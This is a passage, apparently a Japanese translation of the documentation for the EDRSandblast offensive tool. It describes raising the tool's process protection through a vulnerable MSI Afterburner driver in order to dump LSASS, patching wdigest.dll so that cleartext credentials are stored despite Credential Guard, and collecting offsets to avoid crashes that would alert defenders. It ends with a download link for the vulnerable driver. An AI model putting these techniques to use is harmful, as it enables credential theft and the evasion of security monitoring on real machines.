( _PS_PROTECTED_SIGNER
) 属性を通じてプロセスの保護レベルを定義する_PS_PROTECTION
フィールドが含まれています。
カーネル メモリに書き込むことにより、EDRSandblast プロセスは自身の保護レベルをPsProtectedSignerWinTcb-Light
にアップグレードできます。このレベルは、 RunAsPPL
メカニズムで実行されているLSASS
プロセスの保護レベルであるPsProtectedSignerLsa-Light
を「支配」するため、 LSASS
プロセス メモリをダンプするには十分です。
EDRSandBlast
次のように自己保護を実装します。
NtQuerySystemInformation
を使用してすべてのシステム ハンドルをリークし、現在のプロセスで開かれているハンドルと、カーネル メモリ内の現在のプロセスのEPROCESS
構造体のアドレスを見つけます。Micro-Star MSI Afterburner
ドライバーの任意の読み取り/書き込みの脆弱性を利用して、カーネル メモリ内の現在のプロセスの_PS_PROTECTION
フィールドを上書きします。 EPROCESS
構造体 (使用中のntoskrnl
バージョンによって定義される) に対する_PS_PROTECTION
フィールドのオフセットは、 NtoskrnlOffsets.csv
ファイルで計算されます。Microsoft Credential Guard
、Microsoft のWindows 10 (Enterprise edition)
で導入された仮想化ベースの分離テクノロジで、 LSASS
プロセスに保存されている資格情報への直接アクセスを防ぎます。
Credentials Guard
がアクティブ化されると、 LSAIso
( LSA Isolated ) プロセスがVirtual Secure Mode
で作成されます。これは、CPU の仮想化拡張機能を利用してメモリ内のデータのセキュリティを強化する機能です。 LSAIso
プロセスへのアクセスは、 NT AUTHORITYSYSTEM
セキュリティ コンテキストを使用したアクセスであっても制限されます。ハッシュを処理するとき、 LSA
プロセスはLSAIso
プロセスへのRPC
呼び出しを実行し、 LSAIso
結果が継続するのを待ちます。したがって、 LSASS
プロセスにはシークレットが含まれず、適切な場所にLSA Isolated Data
が保存されます。
N4kedTurtle
が実施した独自の調査で述べられているように、「メモリ内のg_fParameter_useLogonCredential
とg_IsCredGuardEnabled
の値にパッチを適用することで、Credential Guard を備えたシステムでWdigest
を有効にできます」。 Wdigest
をアクティブにすると、新しい対話型ログオン用に平文の資格情報がLSASS
メモリに保存されます (システムの再起動は必要ありません)。この手法の詳細については、元の研究ブログ投稿を参照してください。
EDRSandBlast
元の PoC をもう少し opsec フレンドリーにし、多数のwdigest.dll
バージョンのサポートを提供するだけです ( g_fParameter_useLogonCredential
およびg_IsCredGuardEnabled
の計算されたオフセットを通じて)。
カーネル監視バイパス操作を確実に実行するには、EDRSandblast はカーネル メモリの読み取りおよび書き込み先を正確に把握する必要があります。これは、ターゲット イメージ (ntoskrnl.exe、wdigest.dll) 内のグローバル変数のオフセットと、Microsoft によってシンボル ファイルで定義が公開されている構造内の特定のフィールドのオフセットを使用して行われます。これらのオフセットは、対象となるイメージの各ビルドに固有であり、特定のプラットフォーム バージョンに対して少なくとも 1 回収集する必要があります。
EDRSandblast で使用される構造体と変数を見つけるために、パターン検索の代わりに「ハードコードされた」オフセットを使用するという選択は、カーネル コールバックの追加/削除を担当する文書化されていない API が変更される可能性があること、およびカーネルの読み取りまたは書き込みの試行が行われる可能性があるという事実によって正当化されます。メモリが間違ったアドレスにあると、 Bug Check
( Blue Screen of Death
) が発生する可能性があります (そして多くの場合そうなります)。マシンのクラッシュは、レッドチームと通常の侵入テストの両方のシナリオで許容されません。クラッシュしたマシンは防御側から非常に視認され、攻撃の瞬間にメモリに残っていた資格情報がすべて失われるためです。
Windows の特定のバージョンごとにオフセットを取得するには、2 つのアプローチが実装されています。
必要なntoskrnl.exe
およびwdigest.dll
オフセットは、提供されているExtractOffsets.py
Python スクリプトを使用して抽出できます。このスクリプトは、 radare2
およびr2pipe
に依存して PDB ファイルからシンボルをダウンロードして解析し、そこから必要なオフセットを抽出します。オフセットは、後で EDRSandblast で使用できるように CSV ファイルに保存されます。
すぐに使用できるさまざまな Windows ビルドをサポートするために、 ntoskrnl.exe
およびwdigest.dll
バイナリの多くのバージョンが Winbindex によって参照され、 ExtractOffsets.py
。これにより、これまでに Windows 更新パッケージで公開されたほぼすべてのファイルからオフセットを抽出できます (現在、450 を超えるntoskrnl.exe
と 30 を超えるwdigest.dll
バージョンが利用可能で、事前に計算されています)。
追加のオプションがEDRSandBlast
に実装されており、プログラムが Microsoft Symbol Server から必要な.pdb
ファイル自体をダウンロードし、必要なオフセットを抽出し、対応する.csv
ファイルが存在する場合は更新することもできます。
--internet
オプションを使用すると、ツールの実行がはるかに簡単になりますが、プロセス中に.pdb
ファイルがダウンロードされてディスクにドロップされるため、追加の OpSec リスクが発生します。これは、シンボル データベースの解析に使用されるdbghelp.dll
関数で必要です。ただし、将来的には完全なインメモリ PDB 解析が実装され、この要件が緩和され、ツールのフットプリントが削減される可能性があります。
脆弱なRTCore64.sys
ドライバーは次の場所から取得できます。
http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip